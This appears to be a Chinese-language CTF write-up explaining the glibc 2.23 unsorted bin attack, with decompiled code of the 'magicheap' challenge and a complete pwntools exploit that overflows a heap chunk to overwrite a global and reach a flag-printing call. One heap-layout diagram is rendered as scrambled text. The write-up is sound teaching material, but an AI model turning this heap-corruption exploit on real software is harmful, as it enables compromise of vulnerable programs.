Pwn Ptmalloc2 Unsortbin Attack

注意
本文最后更新于 2022-08-11,文中内容可能已过时。

如未特殊说明, 均假定 libc 2.23, 64 位.

当 malloc 从 unsortbin 中取 chunk 时, 会有一个双向链表解链的过程 (为方便, 代码只截取数据结构部分):

1
2
3
4
5
  victim = unsorted_chunks (av)->bk;
  bck = victim->bk;
  /* remove from unsorted list */
  unsorted_chunks (av)->bk = bck;
  bck->fd = unsorted_chunks (av);

可以看到, 最后一条语句是 bck->fd = unsorted_chunks(av);. 如果我们能够控制 victim 的 bk, 那么就可以向其中写入 bins[1] 的地址了. 相当于具有任意地址写入特定值的功能. 上述过程并没有用到 fd, 所以 fd 随便覆盖都行.

写入的这个值除了可能打印出来泄漏 libc, 还能当作一个 比较大的值 来使用, 如改变循环中的计数变量. 还有一个更骚的是改变 global_max_fast, 从而使更大的 chunk 可以放到 fastbin 里进行 fastbin 的攻击. 非常 amazing. (这玩意下次再学)

需要注意的是, 这样搞完以后, 双向链表的结构就坏了. 原因在于覆盖掉了 fd. 之后如果再使用 unsortbin, 就会报错了. 也就是说是, 之后只能使用 fast chunk 了.

可以看出, unsortbin 的局限性还是蛮大的.

在 glibc 2.29 以后, 对 unsortbin 的双向链表做了完整性检查, 导致这种 unsortbin attack 失效.

64 位 ELF, 没开 PIE.

main:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  int v3; // eax
  char buf[8]; // [rsp+0h] [rbp-10h] BYREF
  unsigned __int64 v5; // [rsp+8h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  while ( 1 )
  {
    while ( 1 )
    {
      menu();
      read(0, buf, 8uLL);
      v3 = atoi(buf);
      if ( v3 != 3 )
        break;
      delete_heap();
    }
    if ( v3 > 3 )
    {
      if ( v3 == 4 )
        exit(0);
      if ( v3 == 4869 )
      {
        if ( (unsigned __int64)magic <= 0x1305 )
        {
          puts("So sad !");
        }
        else
        {
          puts("Congrt !");
          l33t();
        }
      }
      else
      {
LABEL_17:
        puts("Invalid Choice");
      }
    }
    else if ( v3 == 1 )
    {
      create_heap();
    }
    else
    {
      if ( v3 != 2 )
        goto LABEL_17;
      edit_heap();
    }
  }
}

其中 l33t:

1
2
3
4
int l33t()
{
  return system("cat ./flag");
}

所以, 我们的目标就是把全局变量 magic 的值修改大于 0x1305.

操作有 creat, edit, delete:

create:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
unsigned __int64 create_heap()
{
  int i; // [rsp+4h] [rbp-1Ch]
  size_t size; // [rsp+8h] [rbp-18h]
  char buf[8]; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  for ( i = 0; i <= 9; ++i )
  {
    if ( !heaparray[i] )
    {
      printf("Size of Heap : ");
      read(0, buf, 8uLL);
      size = atoi(buf);
      heaparray[i] = malloc(size);
      if ( !heaparray[i] )
      {
        puts("Allocate Error");
        exit(2);
      }
      printf("Content of heap:");
      read_input(heaparray[i], size);
      puts("SuccessFul");
      return __readfsqword(0x28u) ^ v4;
    }
  }
  return __readfsqword(0x28u) ^ v4;
}

一共能创建 10 个堆, 大小任意, 堆指针保存在全局变量 heaparray[] 上.

delete:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
unsigned __int64 delete_heap()
{
  int idx; // [rsp+Ch] [rbp-14h]
  char buf[8]; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  printf("Index :");
  read(0, buf, 4uLL);
  idx = atoi(buf);
  if ( idx < 0 || idx > 9 )
  {
    puts("Out of bound!");
    _exit(0);
  }
  if ( heaparray[idx] )
  {
    free(heaparray[idx]);
    heaparray[idx] = 0LL;
    puts("Done !");
  }
  else
  {
    puts("No such heap !");
  }
  return __readfsqword(0x28u) ^ v3;
}

释放对应下标的堆块, 并将指针置零.

edit:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
unsigned __int64 edit_heap()
{
  int idx; // [rsp+4h] [rbp-1Ch]
  size_t len; // [rsp+8h] [rbp-18h]
  char buf[8]; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  printf("Index :");
  read(0, buf, 4uLL);
  idx = atoi(buf);
  if ( idx < 0 || idx > 9 )
  {
    puts("Out of bound!");
    _exit(0);
  }
  if ( heaparray[idx] )
  {
    printf("Size of Heap : ");
    read(0, buf, 8uLL);
    len = atoi(buf);
    printf("Content of heap : ");
    read_input(heaparray[idx], len);
    puts("Done !");
  }
  else
  {
    puts("No such heap !");
  }
  return __readfsqword(0x28u) ^ v4;
}

修改堆块, 但大小任意, 所以存在 堆溢出漏洞.

由于 magic 变量附近没有什么是我们能够控制的东西, 很难在附近伪造 chunk 再分配到此处进行攻击. 而我们只需要 magic 的值大于 0x1305 即可, 并不需要写入任意值. 所以使用 unsortbin attack.

首先需要往 unsortbin 里丢一个 chunk, 然后需要能够堆溢出覆盖到这个 chunk. 同时要避免该 chunk free 后合并到 top chunk. 所以构造如下堆, 并通过 chunk 0 的溢出覆盖 chunk 1 的 bk 到 &magic - 0x10 位置.

s s s i p i p i p z r z r z r e e b f e e e e s k d s s 0 i 0 i 0 i x z x z x z 2 e 9 e 2 e 0 0 0 m a c g c c h i h h u c u u n n n k k k 2 1 0 f f a a k k e e c c h h u u n n k k f d

接下来 malloc 0x80, 就可以往 fake chunk 的 fd, 也就是 magic 上, 写入 unsortbin 的地址了. 这个地址比 0x1305 大.

exp:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from pwn import *
context(os='linux', arch='amd64', log_level='debug')

procname = './magicheap'

# io = process(procname)
io = remote('node4.buuoj.cn', 28581)
elf = ELF(procname)
# libc = ELF('./libc.so.6')

def n2b(x):
  return str(x).encode()

def op(x):
  io.sendlineafter(b'Your choice :', n2b(x))

def create(content):
  op(1)
  io.sendlineafter(b'Size of Heap : ', n2b(len(content)))
  io.sendafter(b'Content of heap:', content)

def edit(idx, content):
  op(2)
  io.sendlineafter(b'Index :', n2b(idx))
  io.sendlineafter(b'Size of Heap : ', n2b(len(content)))
  io.sendafter(b'Content of heap : ', content)

def delete(idx):
  op(3)
  io.sendlineafter(b'Index :', n2b(idx))

def pwn():
  op(4869)
  io.interactive()

def main():
  create(b'a' * 0x10)
  create(b'b' * 0x80)
  create(b'c' * 0x10)

  delete(1)

  magic = elf.sym['magic']
  success(f'magic: {hex(magic)}')
  edit(0, b'd' * 0x10 + p64(0) + p64(0x91) + b'e' * 0x08 + p64(magic - 0x10))
  create(b'f' * 0x80)

  pwn()

if __name__ == '__main__':
  main()